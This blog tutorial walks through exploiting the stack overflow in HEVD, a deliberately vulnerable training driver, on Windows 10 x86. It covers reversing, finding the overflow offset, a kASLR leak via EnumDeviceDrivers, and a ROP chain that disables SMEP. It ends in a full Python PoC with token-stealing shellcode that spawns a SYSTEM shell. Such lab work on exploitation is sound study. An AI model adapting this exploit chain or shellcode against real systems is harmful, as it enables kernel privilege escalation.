Skip to main content

Windows Kernel Exploit Development - HEVD Stack Overflow

Hello! A while ago I wrote a post walking through setting up an environment/lab for windows kernel exploit development with HEVD. In this post we are going to attempt to exploit it on Windows 10 x86 version 1703, using the x86 HEVD driver. First we need to go over some bits in ghidra or IDA (whichever you prefer), I will use ghidra for the walkthrough. We will also have to bypass SMEP (Supervisor Mode Execution Prevention, which stops the kernel from executing code on user mode pages) with a ROP chain and kASLR (Kernel Address Space Layout Randomisation, which randomises the kernel’s base address on each boot).

HEVD Analysis: Hunting the IOCTL

The typical way user mode code communicates with kernel drivers is by using DeviceIoControl to make a request to the driver, this is how our own input enters the driver.

BOOL DeviceIoControl(
  [in]                HANDLE       hDevice,
  [in]                DWORD        dwIoControlCode,
  [in, optional]      LPVOID       lpInBuffer,
  [in]                DWORD        nInBufferSize,
  [out, optional]     LPVOID       lpOutBuffer,
  [in]                DWORD        nOutBufferSize,
  [out, optional]     LPDWORD      lpBytesReturned,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);

hDevice is a handle to the device object, which we can get using CreateFileA using its symbolic link \\.\HackSysExtremeVulnerableDriver. Technically its a handle to the device not the driver itself.

dwIoControlCode is the IOCTL (input/output control) code that tells the driver which operation to perform. Different IOCTLs interaect with different handlers so each one is a separate entry point in the driver. When analysing a driver for vulnerabilities, we need to find out what each handler does with our input and identify any vulnerabilities.

lpInBuffer is the user supplied data, i.e the bit we control.

When DeviceIoControl is called the I/O manager puts everything into an IRP (I/O request packet) and passes it to whichever function the driver registered for IRP_MJ_DEVICE_CONTROL.

After importing HEVD.sys into ghidra and letting the initial analysis finish, we can find IrpDeviceIoCtlHandler in the function list. Scrolling through the function, we can see a different case for each IOCTL. The first one is 0x222003, which calls BufferOverflowStackIoctlHandler

image alt text image alt text

In a real driver this code would not be as clean and there most likely wouldn’t be named IOCTL cases for each vulnerability. In a real driver the IOCTLs would map to real world operations, it might still use a switch statement with plenty of IOCTL cases though.

The first case in the switch is IOCTL 0x222003 which calls BufferOverflowStackIoctlHandler. The function is quite small, it takes our input buffer from the IRP stack location and passes it to TriggerBufferOverflowStack along with the length we supplied through nInBufferSize.

image alt text image alt text

The IRP parameters are stored in unions, so Ghidra might show a field name belonging to a different type of request which is a bit confusing, but in this case the value is actually DeviceIoControl.InputBufferLength.

Following the call takes us into TriggerBufferOverflowStack where we can see the vulnerability. The function initialises a local buffer with memset(local_820,0,0x800), so we know the buffer is 2048 bytes (0x800).

image alt text image alt text

memcpy copies our input into local_820 and uses param_2 as the copy length, but there is no checking on param_2 and the buffer is 0x800 bytes, so if we send more than 2048 bytes we will write past the end of the buffer and overwrite the stack. (It is actually RtlCopyMemory in the source, the compiler inlines it as memcpy so thats why ghidra calls it that)

Triggering the Overflow

To trigger the vulnerability we can open a handle to the HEVD device and send 3000 A characters to IOCTL 0x222003 using DeviceIoControl. Since the destination buffer is only 2048 bytes, this should be enough to overwrite the stack and crash the machine.

import ctypes
from ctypes import wintypes

kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)

GENERIC_READ_WRITE = 0xC0000000
OPEN_EXISTING = 0x3
IOCTL_STACK_OVERFLOW = 0x222003

hDevice = kernel32.CreateFileA(
    b"\\\\.\\HackSysExtremeVulnerableDriver",
    GENERIC_READ_WRITE,
    0,
    None,
    OPEN_EXISTING,
    0,
    None
)

if hDevice == -1:
    raise ctypes.WinError(ctypes.get_last_error())

payload = b"A" * 3000
returned = wintypes.DWORD(0)

kernel32.DeviceIoControl(
    hDevice,
    IOCTL_STACK_OVERFLOW,
    payload,
    len(payload),
    None,
    0,
    ctypes.byref(returned),
    None
)

You can write this in C but I’m using ctypes here to call the windows api from python. CreateFileA opens a handle to the HEVD device, then DeviceIoControl sends the payload (3000 A’s) to IOCTL 0x222003. If it works, the return address on the stack will get overwritten with 0x41414141 and HEVD will crash when the function tries to return.

Run the PoC and you should get this in windbg:

image alt text image alt text

The machine crasahed (restart it) and both EIP and EBP contain 0x41414141, so our input has overwritten the saved return address and frame pointer. Nice! So we can control execution, but we still need to find which part of the payload overwrites EIP. We can use a pattern for this just like with usermode buffer overflows, the classic msf-pattern_create -l 3000! Update the PoC with this pattern and run it.

Access violation - code c0000005 (!!! second chance !!!)
72433372 ??              ???
msf-pattern_offset -l 3000 -q 72433372
[*] Exact match at offset 2080

Nice, so the return address is 2080 bytes into our payload. We can confirm this by sending 2080 A characters followed by 4 B characters. If the offset is correct, EIP should contain 0x42424242 after the crash.

payload = b"A" * 2080
payload += b"B" * 4
payload += b"C" * (3000 - len(payload))

image alt text image alt text

Now that we control EIP, we can just point EIP at our shellcode and get code execution in the kernel! Yay! But also, no. This is where it gets complicated, because this is windows 10 which has Supervisor Mode Execution Prevention (SMEP), kASLR, and DEP.

We can confirm SMEP is enabled by checking the CR4 register in WinDbg with r cr4:

1: kd> r cr4
cr4=001406e9

CR4 is a CPU control register where individual bits enable or disable different features. Intel defines bit 20 as the SMEP flag, which corresponds to the hexadecimal mask 0x100000. Checking our value against that mask gives 0x001406e9 & 0x100000 = 0x00100000. The result is non-zero, so SMEP is enabled. To disable it, we want to clear only that bit and leave the other flags alone, giving us a target CR4 value of 0x000406e9.

To flip the SMEP bit we will need to use return-oriented programming (ROP). I covered ROP in more detail in my ROP - VirtualProtect post but the idea is we borrow sequences of existing assembly instructions called gadgets instead of executing our own code directly on the stack. Each ROP gadget ends in a RET instruction which takes the next address from our controlled stack and jumps to it, allowing us to chain the ROP gadgets together. In that post I used ROP to set up the arguments for VirtualProtect and bypass DEP, same idea here except we will find gadgets in the kernel to put 0x000406e9 into a register and write that value into CR4.

Disabling SMEP still won’t get us code execution though, because there is DEP (data execution prevention) so our input buffer is non executable and we will need to put the payload in executable user-mode memory. There is also KASLR (Kernel address space layout randomisation) which randomises the base address, since our ROP gadgets will come from the kernel we need to find its base address at runtime and calculate each gadget address from it rather than hardcoding the addresses.

Defeating KASLR

We can use EnumDeviceDrivers from psapi to get a list of loaded driver base addresses, then loop through them with GetDeviceDriverBaseNameA until we find ntoskrnl.exe.

It should be noted that this is not a universal kASLR bypass, for example on Windows 11 24H2 and later, you need the SeDebugPrivilege privilege to use this api to get the base addresses (or it could return NULL). But it works for our Windows 10 build.

psapi = ctypes.WinDLL("psapi", use_last_error=True)

drivers = (wintypes.DWORD * 1024)()
needed = wintypes.DWORD(0)

if not psapi.EnumDeviceDrivers(
    drivers,
    ctypes.sizeof(drivers),
    ctypes.byref(needed)
):
    raise ctypes.WinError(ctypes.get_last_error())

count = needed.value // ctypes.sizeof(wintypes.DWORD)
kernel_base = None

for i in range(count):
    name = ctypes.create_string_buffer(260)

    if psapi.GetDeviceDriverBaseNameA(drivers[i], name, len(name)):
        if name.value.lower() == b"ntoskrnl.exe":
            kernel_base = drivers[i]
            break

if kernel_base is None:
    raise Exception("[-] Could not find ntoskrnl.exe")

print(f"[+] Kernel base: {hex(kernel_base)}")

I removed the DeviceIoControl call for this part so the script could print the base and exit without crashing the VM:

[+] Kernel base: 0x81212000

We can check this against the kernel base in WinDbg with lm m nt:

0: kd> lm m nt
Browse full module list
start    end        module name
81212000 81818000   nt         (export symbols)

The addresses match, so we have the base and we can calculate each gadget address with kernel_base + gadget_offset instead of hardcoding an address that will change after a reboot.

Hunting the gadgets

We need to find two gadgets from the kernel, one to load our target CR4 value into a register, and one to write that register into CR4. The register itself does not matter, as long as both gadgets use the same one. A suitable pair could be pop eax ; ret and mov cr4, eax ; ret, we can search for this in windbg using their machine code bytes, pop eax ; ret is 58 c3, and mov cr4, eax is 0f 22 e0:

0: kd> s -b nt L606000 58 c3

0: kd> s -b nt L606000 58 c3
....snip....
820dd3bf  58 c3 6a 03 58 c3 33 c0-40 c3 6a 02 58 c3 6a 0a  [email protected].

One of the results 0x820dd3bf gives us the gadget we want. The kernel base on this run was 0x8206f000, so subtracting the kernel base from this address gives us the gadget offset 0x820dd3bf - 0x8206f000 = 0x6e3bf

1: kd> u nt+0x6e3bd L3
nt!MmDoesFileHaveUserWritableReferences+0x113:
816db3bd 6a04            push    4
816db3bf 58              pop     eax
816db3c0 c3              ret

I started the disassembly two bytes earlier to show the surrounding instructions. The gadget itself starts at 0x6e3bf with pop eax.

Now we repeat the same process for the second gadget. Search for mov cr4:

0: kd> s -b nt L606000 0f 22 e0

One of the results was at 0x821a035c and was followed by c3. Dissasembling it confirms it is the gadget we want:

0: kd> u 821a035c L2
ReadVirtual: 821a035c not properly sign extended
821a035c 0f22e0          mov     cr4,eax
821a035f c3              ret

Repeating what we did above 0x821a035c - 0x8206f000 = 0x13135c, the offset is 0x13135c.

Now when we reboot the machine the kernel base will change again but these offsets will stay the same as they are valid for this Windows build. There is one more thing we need to account for before making the chain. The vulnerable function returns with ret 8:

image alt text image alt text

Which means it pops our overwritten return address and then skips another 8 bytes on the stack. Because of this we just need 2 junk DWORDs after the first gadget, otherwise EAX will get the wrong value.

import ctypes
import struct
from ctypes import wintypes

kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
psapi = ctypes.WinDLL("psapi", use_last_error=True)

GENERIC_READ_WRITE = 0xC0000000
OPEN_EXISTING = 0x3
IOCTL_STACK_OVERFLOW = 0x222003

POP_EAX_RET = 0x6e3bf
MOV_CR4_EAX_RET = 0x13135c

drivers = (wintypes.DWORD * 1024)()
needed = wintypes.DWORD(0)

if not psapi.EnumDeviceDrivers(
    drivers,
    ctypes.sizeof(drivers),
    ctypes.byref(needed)
):
    raise ctypes.WinError(ctypes.get_last_error())

count = needed.value // ctypes.sizeof(wintypes.DWORD)
kernel_base = None

for i in range(count):
    name = ctypes.create_string_buffer(260)

    if psapi.GetDeviceDriverBaseNameA(drivers[i], name, len(name)):
        if name.value.lower() == b"ntoskrnl.exe":
            kernel_base = drivers[i]
            break

if kernel_base is None:
    raise Exception("[-] Could not find ntoskrnl.exe")

rop = struct.pack("<I", kernel_base + POP_EAX_RET)
rop += struct.pack("<I", 0x41414141)
rop += struct.pack("<I", 0x41414141)
rop += struct.pack("<I", 0x000406e9)
rop += struct.pack("<I", kernel_base + MOV_CR4_EAX_RET)
rop += struct.pack("<I", 0x42424242)

payload = b"A" * 2080
payload += rop
payload += b"C" * (3000 - len(payload))

hDevice = kernel32.CreateFileA(
    b"\\\\.\\HackSysExtremeVulnerableDriver",
    GENERIC_READ_WRITE,
    0,
    None,
    OPEN_EXISTING,
    0,
    None
)

if hDevice == -1:
    raise ctypes.WinError(ctypes.get_last_error())

returned = wintypes.DWORD(0)

kernel32.DeviceIoControl(
    hDevice,
    IOCTL_STACK_OVERFLOW,
    payload,
    len(payload),
    None,
    0,
    ctypes.byref(returned),
    None
)

The first gadget puts 0x000406e9 into EAX, then the second gadget writes EAX into CR4. After that it returns to 0x42424242, which is just there so we can see that we reached the end of the chain.

Run the PoC and:

Access violation - code c0000005 (!!! second chance !!!)
42424242 ??              ???
1: kd> r cr4
cr4=000406e9

Nice! Our original CR4 value was 0x001406e9 and now it is 0x000406e9, so SMEP is off!!! Now we need to replace 0x42424242 with the address to some shellcode.

SMEP is off but DEP still applies so we need to allocate the memory as executable with VirtualAlloc, then copy our shellcode into it with ctypes.memmove:

kernel32.VirtualAlloc.restype = wintypes.LPVOID

MEM_COMMIT_RESERVE = 0x3000
PAGE_EXECUTE_READWRITE = 0x40

shellcode_address = kernel32.VirtualAlloc(
    None,
    len(shellcode),
    MEM_COMMIT_RESERVE,
    PAGE_EXECUTE_READWRITE
)

if not shellcode_address:
    raise ctypes.WinError(ctypes.get_last_error())

ctypes.memmove(shellcode_address, shellcode, len(shellcode))

PAGE_EXECUTE_READWRITE gives us RWX memory so we can write our shellcode to it and then execute. We need to replace the 0x42424242 with the address returned by VirtualAlloc:

rop += struct.pack("<I", shellcode_address)

Token stealing shellcode

Now we just need some shellcode to put there, we can use this token stealing shellcode:

shellcode = (
    b"\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x89\xc7\x89\xc1"
    b"\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x83\xb9\xb4\x00\x00"
    b"\x00\x04\x75\xeb\x81\xc1\xfc\x00\x00\x00\x8b\x09\x89\x8f\xfc\x00\x00"
    b"\x00\x61\x31\xc0\x40\x83\xc4\x10\x5d\xc2\x08\x00"
)

The shellcode is based on the original HEVD payload by Ashfaq Ansari, adapted for Windows 10 x86 using the offsets documented in Andres Roldan’s HEVD privesc post. This version gives the current Python process a SYSTEM token.

On this Windows 10 x86 build, fs:[0x124] gives us the current thread and KTHREAD+0x150 points to the current EPROCESS. The shellcode saves Python’s EPROCESS in EDI, then walks ActiveProcessLinks at offset 0xb8 until it finds a UniqueProcessId of 4 at offset 0xb4. This is the SYSTEM process, so it copies the token at EPROCESS+0xfc over pythons token.

A clean return

We still need to return from the driver without crashing after the token has been replaced, the shellcode restores the registers with popad, then uses add esp, 0x10 to skip the rest of the values on the stack, the saved EBP is now at the top of the stack, so pop ebp restores it and ret 8 returns to the original caller.

Once DeviceIoControl returns, python can carry on normally and start a command prompt:

subprocess.Popen(["cmd.exe"])

SYSTEM Shell

Putting everything together, here is the final PoC, when we run it, the driver returns without crashing and we get a nice SYSTEM shell.

import ctypes
import struct
import subprocess
from ctypes import wintypes

kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
psapi = ctypes.WinDLL("psapi", use_last_error=True)

GENERIC_READ_WRITE = 0xC0000000
OPEN_EXISTING = 0x3
IOCTL_STACK_OVERFLOW = 0x222003

MEM_COMMIT_RESERVE = 0x3000
PAGE_EXECUTE_READWRITE = 0x40

POP_EAX_RET = 0x6e3bf
MOV_CR4_EAX_RET = 0x13135c

kernel32.VirtualAlloc.restype = wintypes.LPVOID

shellcode = (
    b"\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x89\xc7\x89\xc1"
    b"\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x83\xb9\xb4\x00\x00"
    b"\x00\x04\x75\xeb\x81\xc1\xfc\x00\x00\x00\x8b\x09\x89\x8f\xfc\x00\x00"
    b"\x00\x61\x31\xc0\x40\x83\xc4\x10\x5d\xc2\x08\x00"
)

shellcode_address = kernel32.VirtualAlloc(
    None,
    len(shellcode),
    MEM_COMMIT_RESERVE,
    PAGE_EXECUTE_READWRITE
)

if not shellcode_address:
    raise ctypes.WinError(ctypes.get_last_error())

ctypes.memmove(shellcode_address, shellcode, len(shellcode))

drivers = (wintypes.DWORD * 1024)()
needed = wintypes.DWORD(0)

if not psapi.EnumDeviceDrivers(
    drivers,
    ctypes.sizeof(drivers),
    ctypes.byref(needed)
):
    raise ctypes.WinError(ctypes.get_last_error())

count = needed.value // ctypes.sizeof(wintypes.DWORD)
kernel_base = None

for i in range(count):
    name = ctypes.create_string_buffer(260)

    if psapi.GetDeviceDriverBaseNameA(drivers[i], name, len(name)):
        if name.value.lower() == b"ntoskrnl.exe":
            kernel_base = drivers[i]
            break

if kernel_base is None:
    raise Exception("[-] Could not find ntoskrnl.exe")

rop = struct.pack("<I", kernel_base + POP_EAX_RET)
rop += struct.pack("<I", 0x41414141)
rop += struct.pack("<I", 0x41414141)
rop += struct.pack("<I", 0x000406e9)
rop += struct.pack("<I", kernel_base + MOV_CR4_EAX_RET)
rop += struct.pack("<I", shellcode_address)

payload = b"A" * 2080
payload += rop

assert len(payload) == 2104

hDevice = kernel32.CreateFileA(
    b"\\\\.\\HackSysExtremeVulnerableDriver",
    GENERIC_READ_WRITE,
    0,
    None,
    OPEN_EXISTING,
    0,
    None
)

if hDevice == -1:
    raise ctypes.WinError(ctypes.get_last_error())

returned = wintypes.DWORD(0)

result = kernel32.DeviceIoControl(
    hDevice,
    IOCTL_STACK_OVERFLOW,
    payload,
    len(payload),
    None,
    0,
    ctypes.byref(returned),
    None
)

if not result:
    raise ctypes.WinError(ctypes.get_last_error())

subprocess.Popen(["cmd.exe"])

image alt text image alt text

SYSTEM! Love to see it!

The next blog post will be an interesting one, I’m very excited to start working on it.

Credits

Big shout out to Connor McGarr. His kernel exploitation posts were a massive help while I was getting my head around it all, and for a much more indepth look at the HEVD stack overflow check out this blog post and this blog post.

Also credit to Ashfaq Ansari for HEVD and the original token stealing payload, and Andres Roldan for his Windows 10 x86 HEVD work, which I used to verify the shellcode offsets and return. His kASLR and SMEP bypass post is also worth a read.